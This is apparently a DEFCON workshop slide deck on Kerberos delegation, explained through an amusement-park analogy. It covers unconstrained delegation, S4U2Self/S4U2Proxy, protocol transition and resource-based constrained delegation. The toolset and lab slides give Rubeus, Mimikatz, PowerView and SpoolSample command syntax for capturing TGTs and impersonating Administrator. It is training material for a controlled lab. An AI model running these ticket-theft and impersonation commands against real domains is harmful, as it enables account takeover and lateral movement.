

# Constructing Kerberos Attacks with Delegation Primitives

**DEFCON**



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# Constructing Kerberos Attacks with Delegation Primitives



<https://shenaniganslabs.io/defcon>



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# Agenda

- Introduction to Kerberos
- Kerberos delegation
  - Unconstrained
  - Constrained
    - S4U2Self
    - S4U2Proxy
    - TrustedToAuthForDelegation
  - Resource based constrained delegation
- NTLM and NTLM relay
- Combining these primitives to create elaborate attack chains

# Motivation

- Computer object takeover
- Bypass TrustedToAuthForDelegation
- Domain persistence – a new way to forge golden tickets
- Re-weaponize an exploit primitive that was considered useless
  - Remote Code Execution (RCE)
  - Local Privilege Escalation (LPE)

# About Us

- Elad Shamir ([@elad\\_shamir](#)) and Matt Bush ([@3xocyte](#))



- Shenanigans Labs ([shenaniganslabs.io](#))

# The Lab

- Seven exercises
- Follow the lab guide
  - Instructions, tips, and full solution
- You get your own machines – stick to them!
- Stick to the exercises
- Don't disrupt others
- Don't be evil
- RDP to your Service A host and operate from there

# Kerberos 101

Kerberos 101

The **REAL STORY** behind Kerberos

*Not a real story*

# Kerberos 101

## The **REAL STORY** behind Kerberos

*Not a real story*

- This is Bill
- Bill is a successful entrepreneur
- Bill always integrates security into his ventures by design
- Bill is smart
- Be like Bill



## The **REAL STORY** behind Kerberos

*Not a real story*

- Back in the 70's, Bill opened an amusement park
- Bill wanted to improve security and came up with a new model




# The Luna Club

- Every visitor becomes a member
- Their details are kept on file to speed things up in the future
  - Name
  - Date of Birth
  - Height
  - Group memberships: Rollercoaster, Bumper Cars, Ferris Wheel, etc.
- Everyone gets a secret code for authentication




## Every visitor gets a “Day Pass”

- Alice authenticates with her secret code and pays for entry
- The ticket office issues a day pass and populates it with the visitor's information




## Every visitor gets a “Day Pass”

- Alice authenticates with her secret code and pays for entry
- The ticket office issues a day pass and populates it with the visitor's information
- The day pass is encrypted with a secret key that only the ticket office knows




## Getting tickets for rides

- Alice presents her day pass to the ticket office




## Getting tickets for rides

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass





## Getting tickets for rides

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid




## Getting tickets for rides

- The ticket office creates a new ride ticket
- The content is copied from the day pass



## Getting tickets for rides

- The ride ticket is encrypted with a unique key that only the ride operator and the ticket office know




## Getting on a ride




# Getting on a ride

- Alice presents her ticket to the ride operator




# Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket




# Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket
- The operator validates the ticket



# Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket
- The operator validates the ticket
- Alice is allowed to get on the ride



## A side note about the ride name

- The ride name is not encrypted

### Ride@Rollercoaster

Xcnkf Htqo< 616197 ;<22 CO  
Xcnkf Wpvkn< 616197 9<22 RO  
Hnciu< HQTYCTFCDNG, TGPGYCDNG  
Pcog< Cnkeg Xcpeg  
FQD< 515172  
Jgkijv< 3087o  
Itqwru< Tqnngteqcuvgt, Hgtnku Yjggm,  
Dworgt Ectu, Ogtt{ Iq Tqwptf, Nwpej,  
Jcrr{/Jqwt

## A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid

Operator@Rollercoaster

Xcnkf Htqo< 616197 ;<22 CO  
Xcnkf Wpvkn< 616197 9<22 RO  
Hnciu< HQTYCTFCDNG, TGPGYCDNG  
Pcog< Cnkeg Xcpeg  
FQD< 515172  
Jgkijv< 3087o  
Itqwru< Tqnngteqcuvgt, Hgtnku Yjggm,  
Dworgt Ectu, Ogtt{ Iq Tqwptf, Nwpej,  
Jcrr{/Jqwt

## A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid
- If Alice changed the wrong part of the ride name, the encrypted part will no longer be valid

Operator@**Ferris Wheel**

Xcnkf Htqo< 616197 ;<22 CO  
Xcnkf Wpvkn< 616197 9<22 RO  
Hnciu< HQTYCTFCDNG, TGPGYCDNG  
Pcog< Cnkeg Xcpeg  
FQD< 515172  
Jgkijv< 3087o  
Itqwru< Tqnngteqcuvgt, Hggtk Yjggm,  
Dworgt Ectu, Ogtt{ Iq Tqwptf, Nwpej,  
Jcrr{/Jqwt

## A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid
- If Alice changed the wrong part of the ride name, the encrypted part will no longer be valid
  - Different rides have different encryption keys


### Operator@**Ferris Wheel**

```
S^ifa Colj7 1,1,42 67-- >J
S^ifa Rkqfi7 1,1,42 47-- MJ
Ci^dp7 CLOT>OA>?IB, OBKBT>?IB
K^jb7 >if`b S^k`b
AL?7 0,0,2-
Ebfdeq7 .+32j
Dolrmp7 Oliibo`l^pqbo, Cboofp Tebbi,
?rjmbo @^op, Jboov Dl Olrka, Irk`e,
E^mmv*Elro
```

## From the amusement park to Kerberos

<b>Amusement Park</b>	<b>Kerberos</b>
Secret code and payment	Pre-authentication
Ticket Office	Domain Controller (KDC, AS)
Day Pass	Ticket Granting Ticket (TGT)
Ride Ticket	Service Ticket (TGS)
Operator	Service Account
Ticket Office Password/Key	KRBtgt Account Password/Key
Operator Password/Key	Service Account Password/Key
Ride Name	Service Principal Name
Bill	Domain Admins
Visitors	Users
<i>Visitor Details in Ticket (but no signatures)</i>	<i>Privilege Attribute Certificate (PAC)</i>

# The Authentication Flow



# Can you crack the cipher?

## Day Pass

Wbmje Gspn; 505086 :;11 BN  
 Wbmje Voujm; 505086 8;11 QN  
 Gmbht; GPSXBSEBCMF, SFOFXBCMF  
 Obnf; Bmjdf Wbodf  
 EPC; 404061  
 Ifjhiu; 2/76n  
 Hspvqt; Spmmfsdpbtufs, Gfssjt Xiffm,  
 Cvnqfs Dbst, Nfssz Hp Spvoe, Mvodi,  
 Ibqqz. Ipvz

## Day Pass

Valid From: 4/4/75 9:00 AM  
 Valid Until: 4/4/75 7:00 PM  
 Flags: FORWARDABLE, RENEWABLE  
 Name: Alice Vance  
 DOB: 3/3/50  
 Height: 1.65m  
 Groups: Rollercoaster, Ferris Wheel,  
 Bumper Cars, Merry Go Round, Lunch,  
 Happy-Hour

## Ride@Rollercoaster

Xcnkf Htqo< 616197 ;<22 CO  
 Xcnkf Wpvkn< 616197 9<22 RO  
 Hnciu< HQTYCTFCDNG, TGPGYCDNG  
 Pcog< Cnkeg Xcpeg  
 FQD< 515172  
 Jgkijv< 3087o  
 Itqwru< Tqnngteqcuvgt, Hgtnku  
 Yjggm, Dworgt Ectu, Ogtt{ Iq  
 Tqwpf, Nwpej, Jcrr{/Jqwt

## Ride@Rollercoaster

Valid From: 4/4/75 9:00 AM  
 Valid Until: 4/4/75 7:00 PM  
 Flags: FORWARDABLE, RENEWABLE  
 Name: Alice Vance  
 DOB: 3/3/50  
 Height: 1.65m  
 Groups: Rollercoaster, Ferris Wheel,  
 Bumper Cars, Merry Go Round, Lunch,  
 Happy-Hour

# Can you crack the cipher?

- If you obtain the ticket office's key, you can forge day passes
  - Same as obtaining the KRBTGT key and forging golden tickets
- If you obtain a ride operator's key, you can forge ride tickets
  - Same as compromising a service account and forging silver tickets
- Cracking a ride ticket to obtain the operator's key is the same as Kerberoasting
  - In Kerberoasting, the attacker obtains a service ticket and cracks the service account's password/key


# Kerberos Delegation

- Bill opened a bistro and a bar at the park
- If a visitor wants to eat or drink, they have to get a ticket from the ticket office




# Getting a lunch ticket

- Alice presents her day pass to the ticket office




## Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass





# Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid




# Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid
- The ticket office creates a new ticket to the bistro



# Getting a lunch ticket

- The ticket is encrypted with a unique key that only the bistro and the ticket office know





# Lunch Time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar






# Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro






# Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro
- Alice hands over her day pass as well



# Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro
- Alice hands over her day pass as well
- The waitress decrypts the ticket and validates it




## Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice




## Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass





## Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it





# Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it
- The ticket office creates a new ticket for the bar




# Unconstrained delegation

- The ticket is encrypted with a key that only the bar tender and the ticket office know



## Unconstrained delegation

- The waitress goes to the bar with the ticket



# Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender


## Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
Zepmh Yrxmp> 8383;9 ;>44 TQ  
Jpekw> JSV[EVHEFPI, VIRI[EFPI  
Reqi> Epmgi Zergi  
HSF> 737394  
Limklx> 52:9q  
Kvsytw> Vsppivgsewxiv, Jivvuw [liip,  
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
Lett}1Lsyv




# Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket




# Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice




## Unconstrained delegation

- The waitress serves Alice a burger and a beer



# Unconstrained delegation



## Unconstrained delegation

- TrustedForDelegation flag
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default

## Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice



## Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass






## Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it





## Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it
- The waitress requests a ticket to the rollercoaster**




## Unconstrained delegation is dangerous

- The ticket is encrypted with a key that only the rollercoaster operator and the ticket office know



## Unconstrained delegation is dangerous

- The waitress goes to the rollercoaster
- The waitress presents Alice's ride ticket
- The waitress impersonates Alice and is allowed on the ride



## Unconstrained delegation is dangerous


- If we compromise a service account or host with TrustedForDelegation, we can take over any victim account that authenticates to it
- Where do victims come from?
  - Watering Hole
  - Social Engineering
  - Bring Your Own Victim?

## The “Printer Bug”

- Discovered by Lee Christensen ([@tifkin](#))
- The Print System Remote Protocol (MS-RPRN) has two methods that allow providing the remote system with a hostname/IP address, and it will connect back for the purpose of sending notifications
  - RpcRemoteFindFirstPrinterChangeNotification
  - RpcRemoteFindFirstPrinterChangeNotificationEX
- Connects back over SMB to a named pipe
  - Requires authentication
- The service runs as LOCAL SYSTEM
- The Print Spooler service is configured to start automatically by default

# Abusing the “Printer Bug”

- Compromise a host with unconstrained delegation (Service A)
- Coerce the target host (Service B) to connect to the compromised host (Service A) using the printer bug
- Obtain the TGT for the target host (Service B)



# The toolset

- Identifying computers with unconstrained delegation:
  - PowerView or SharpView:  
`Get-DomainComputer -Unconstrained`
- Capturing TGTs as they come in:
  - Rubeus:  
`Rubeus.exe monitor /interval:seconds`  
`Rubeus.exe harvest /interval:minutes`
  - Mimikatz:  
`sekurlsa:::tickets /export` or `kerberos:::list /export`

## The toolset


- The triggering “printer bug”:
  - SpoolSample:  
`SpoolSample.exe target_host listening_host`
  - Use hostnames rather than IPs if you want Kerberos authentication (TGT)

## Lab: Unconstrained Delegation + Printer Bug

- **Objective:** Obtain Service B's ticket granting ticket (TGT)
- **Tasks:**
  - Identify a host in your control that is configured for unconstrained delegation
  - Run Rubeus in monitor mode to capture incoming TGTs
  - Use the “Printer Bug” to coerce Service B to authenticate to your host
  - Keep the obtained TGT for the next labs!

## Bill is smart

- Bill introduces a new concept:  
Constrained Delegation – S4U2Proxy
- Some ride operators are allowed to impersonate visitors to a predefined list of rides
- The operator must present a FORWARDABLE ticket for the visitor to themselves as evidence that the visitor is present




# Getting a lunch ticket

- Alice presents her day pass to the ticket office




## Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass





## Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid





# Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid
- The ticket office creates a new ticket for the bistro



# Getting a lunch ticket

- The ticket is encrypted with a unique key that only the bistro and the ticket office know




# Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar




## Constrained Delegation – S4U2Proxy

- Alice presents her lunch ticket to the waitress at the bistro



## Constrained Delegation – S4U2Proxy

- Alice presents her lunch ticket to the waitress at the bistro
- The waitress decrypts the ticket and validates it





## Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice





## Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket




## Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it




## Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it





## Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar






## Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar
- The ticket office creates a bar ticket for Alice




## Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar
- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket



## Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket



## Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

### Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
Zepmh Yrxmp> 8383;9 ;>44 TQ  
Jpekw> JSV[EVHEFPI, VIRI[EFPI  
Reqi> Epmgi Zergi  
HSF> 737394  
Limklx> 52:9q  
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,  
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
Lett}1Lsyv



## Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

### Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
Happy-Hour



## Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice


### Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
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Name: Alice Vance  
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Groups: Rollercoaster, Ferris Wheel,  
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[Happy-Hour](#)




## Constrained Delegation – S4U2Proxy

- The waitress serves Alice a burger and a beer



## Constrained Delegation – S4U2Proxy




## Constrained Delegation – S4U2Proxy

- msDS-AllowedToDelegateTo attribute
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default

## Some visitors come just for the bistro

- Luna Bistro got two Michelin stars
- Not all visitors want other rides
- The ticket office is a nuisance for them
- They want to pay at the bistro



## Bill is smart

- Bill introduces a new concept:  
Constrained Delegation – S4U2Self
- Operators can obtain a ride ticket for any visitor  
to themselves
- The ticket is NON-FORWARDABLE



## Bill is smart

- Under S4U2Self, the visitors have to be existing members of Luna Club
- The operators should authenticate them first using the visitors' secret code
  - We will discuss that protocol later




# Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar



## Constrained Delegation – S4U2Self

- Alice orders a burger and a beer
- Alice pays at the bistro




## Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice




## Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice




## Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it





## Constrained Delegation – S4U2Self

- The ticket office creates a bistro ticket for Alice




## Constrained Delegation – S4U2Self

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key





# Constrained Delegation – S4U2Self





## Constrained Delegation – S4U2Self

- The waitress decrypts Alice's bistro ticket





## Constrained Delegation – S4U2Self

- The waitress decrypts Alice's bistro ticket and validates it





## Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket






## Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it




## Constrained Delegation – S4U2Self

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office rejects the request



## Constrained Delegation – S4U2Self

- The waitress serves Alice a burger
- The waitress cannot serve Alice a beer



## Bill is smart

- Bill introduces a new concept to S4U2Self:  
TrustedToAuthForDelegation
- Operators that have TrustedToAuthForDelegation set  
can obtain a FORWARDABLE ride ticket  
for any visitor to themselves




## Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar



# TrustedToAuthForDelegation

- Alice orders a burger and a beer
- Alice pays at the bistro




## TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice




# TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice







# TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it






# TrustedToAuthForDelegation

- The ticket office creates a bistro ticket for Alice
- The bistro is TrustedToAuthForDelegation, so the ticket is forwardable





# TrustedToAuthForDelegation

- The ticket office creates a bistro ticket for Alice
- The bistro is TrustedToAuthForDelegation, so the ticket is forwardable
- The ticket office encrypts the ticket with the bistro's key




# TrustedToAuthForDelegation




# TrustedToAuthForDelegation

- The waitress decrypts Alice's bistro ticket





# TrustedToAuthForDelegation

- The waitress decrypts Alice's bistro ticket and validates it





# TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket




# TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it





# TrustedToAuthForDelegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE





# TrustedToAuthForDelegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar






# TrustedToAuthForDelegation

- The ticket office creates a bar ticket for Alice




# TrustedToAuthForDelegation

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket



# TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket



# TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

## Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
Zepmh Yrxmp> 8383;9 ;>44 TQ  
Jpekw> JSV[EVHEFPI, VIRI[EFPI  
Reqi> Epmgi Zergi  
HSF> 737394  
Limklx> 52:9q  
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,  
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
Lett}1Lsyv



# TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

## Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
Happy-Hour



# TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice


## Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
[Happy-Hour](#)




## TrustedToAuthForDelegation

- The waitress serves Alice a burger and a beer




## TrustedToAuthForDelegation is dangerous

- If the waitress wants to have drink, she can impersonate Alice whether she is at the bistro or not
- From the bar's perspective, the bistro is now as powerful as the ticket office



# TrustedToAuthForDelegation



# TrustedToAuthForDelegation

- TrustedToAuthForDelegation flag
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default
- Also called “protocol transition”
- Credit to Benjamin Delpy ([@gentilkiwi](#)) and Ben Campbell ([@Meatballs](#)) for weaponization

# The toolset

- Identifying computers/users with TrustedToAuthForDelegation:
  - PowerView or SharpView:

```
Get-DomainComputer -TrustedToAuth  
Get-DomainUser -TrustedToAuth
```
- Identifying computers/users with msDS-AllowedToDelegateTo:
  - PowerView or SharpView:

```
Get-DomainComputer -LDAPFilter "(msDS-AllowedToDelegateTo=*)"  
Get-DomainUser -LDAPFilter "(msDS-AllowedToDelegateTo=*)"
```

# The toolset

- Invoking S4U2Self only
  - Rubeus.exe s4u /user:username /domain:domain\_name /[rc4 OR /aes256]:key /impersonateuser:user\_to\_impersonate
  - Rubeus.exe s4u /ticket:[Base64\_blob OR path\_to\_file] /impersonateuser:user\_to\_impersonate
- Invoking S4U2Proxy only
  - Rubeus.exe s4u /user:username /domain:domain\_name /[rc4 OR /aes256]:key /tgs:[Base64\_blob OR path\_to\_file] /msdsspn:name\_of\_target\_service [/altservice:alternative\_service\_class]
  - Rubeus.exe s4u /ticket:[Base64\_blob OR path\_to\_file] /tgs:[Base64\_blob OR path\_to\_file] /msdsspn:name\_of\_target\_service [/altservice:alternative\_service\_class]
- Describing a ticket
  - Rubeus.exe describe /ticket:[Base64\_blob OR path\_to\_file]

# The toolset

- Pass the ticket:
  - Rubeus.exe ptt /ticket:[Base64\_blob OR path\_to\_file]
- Performing a full S4U attack:
  - Rubeus.exe s4u /user:username /domain:domain\_name /[rc4 OR /aes256]:key /impersonateuser:user\_to\_impersonate /msdsspn:name\_of\_target\_service [/altservice:alternative\_service\_class] [/ptt]
  - Rubeus.exe s4u /ticket:[Base64\_blob OR path\_to\_file] /impersonateuser:user\_to\_impersonate /msdsspn:name\_of\_target\_service [/altservice:alternative\_service\_class] [/ptt]

# The toolset

- Cleaning up – purging all tickets from current session:
  - Rubeus.exe purge
- If the tickets still seem to be in memory, you can do one of two things:
  - Log off and on again
  - Perform the next exercise in a bogus runas /netonly session:  
runas /netonly /user:a\a powershell.exe  
[enter a bogus password]

It is recommended to perform all exercises in a bogus runas /netonly session

## Lab: Classic S4U

- **Objective:** Abuse the existing delegation configuration from Service B to Service C to compromise the host of Service C
- **Tasks:**
  - Enumerate the delegation configuration of Service B
  - Invoke S4U2Self to obtain a service ticket for Administrator to Service B. Use the TGT obtained in Lab 1
  - Invoke S4U2Proxy to obtain a service ticket for Administrator to Service C using the service ticket obtained in the previous step
  - Perform a full S4U attack in one step, and modify the service class to “cifs”
  - Pass the ticket and gain access to C\$ on Service C

## Bill is smart

- Bill doesn't want the operators to depend on him every time they need to set up delegation
- Bill introduces a new concept:  
**“Resource Based Constrained Delegation”**
- Bill allows the operators to tell the ticket office who they trust to delegate to them
  - This is “incoming” delegation



## Bill is smart

- The bar decides to trust the bistro for delegation
- The waitress will be allowed to invoke S4U2Proxy to request tickets on behalf of visitors to the bar
- The waitress will still have to present a ticket for the visitor to the bistro as evidence



I trust the  
bistro for  
delegation



## Bill's dilemma

- Bill wants to empower operators through RBCD
- If operators can't modify TrustedToAuthForDelegation for themselves, then RBCD won't work when visitors pay at the ride
- S4U2Self will produce NON-FORWARDABLE tickets
- If operators can modify TrustedToAuthForDelegation for themselves, classic constrained delegation will be compromised



## Bill's solution

- Bill decides that S4U2Proxy for RBCD will not require FORWARDABLE tickets
- Operators will be able to invoke it with NON-FORWARDABLE tickets obtained through S4U2Self
- Classic constrained delegation is not impacted



# Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar



## Resource-based constrained delegation

- Alice orders a burger and a beer
- Alice pays at the bistro





## Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice




## Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and requests a bistro ticket for Alice




## Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it





## Resource-based constrained delegation

- The ticket office creates a bistro ticket for Alice





## Resource-based constrained delegation

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key





## Resource-based constrained delegation




## Resource-based constrained delegation

- The waitress decrypts Alice's bistro ticket





## Resource-based constrained delegation

- The waitress decrypts Alice's bistro ticket and validates it





## Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket






## Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it




## Resource-based constrained delegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE





## Resource-based constrained delegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through RBCD





## Resource-based constrained delegation

- The ticket office creates a bar ticket for Alice




## Resource-based constrained delegation

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket



## Resource-based constrained delegation

- The waitress goes to the bar with the ticket



## Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

### Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
 Zepmh Yrxmp> 8383;9 ;>44 TQ  
 Jpekw> JSV[EVHEFPI, VIRI[EFPI  
 Reqj> Epmgi Zergi  
 HSF> 737394  
 Limklx> 52:9q  
 Kvsytw> Vsppivgsewxiv, Jivvmw [liip,  
 Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
 Lett}1Lsyv



## Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

### Beer@Luna Bar

**Valid From:** 4/4/75 9:00 AM  
**Valid Until:** 4/4/75 7:00 PM  
**Flags:** FORWARDABLE, RENEWABLE  
**Name:** Alice Vance  
**DOB:** 3/3/50  
**Height:** 1.65m  
**Groups:** Rollercoaster, Ferris Wheel,  
 Bumper Cars, Merry Go Round, Lunch,  
 Happy-Hour



## Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice


### Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
 Valid Until: 4/4/75 7:00 PM  
 Flags: FORWARDABLE, RENEWABLE  
 Name: Alice Vance  
 DOB: 3/3/50  
 Height: 1.65m  
 Groups: Rollercoaster, Ferris Wheel,  
 Bumper Cars, Merry Go Round, Lunch,  
 Happy-Hour




## Resource-based constrained delegation

- The waitress serves Alice a burger and a beer




## Resource-based constrained delegation



## Resource-based constrained delegation

- msDS-AllowedToActOnBehalfOfOtherIdentity attribute
- No special privileges required
- Resources allowed to modify the attribute for themselves
- Note: S4U2Proxy always produces a FORWARDABLE ticket

## Constrained delegation comparison




## Constrained delegation comparison

Classic Constrained Delegation	Resource-Based Constrained Delegation
Outgoing	Incoming
msDS-AllowedToDelegateTo	msDS- AllowedToActOnBehalfOfOtherIdentity
S4U2Proxy requires a forwardable service ticket	S4U2Proxy does not require a forwardable service ticket (works only if the user is not sensitive for delegation)
TrustedToAuthForDelegation required	Protocol transition is always possible
Requires the SeEnableDelegation privilege	No special privileges required

# RBCD is dangerous

- The waitress is thirsty




## RBCD is dangerous

- The waitress manipulates the RBCD configuration for the bar





## RBCD is dangerous

- The waitress goes to the ticket office




# RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and requests a bistro ticket for Alice






# RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it





# RBCD is dangerous

- The ticket office creates a bistro ticket for Alice





# RBCD is dangerous

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key





# RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket






# RBCD is dangerous

- The waitress goes to the ticket office
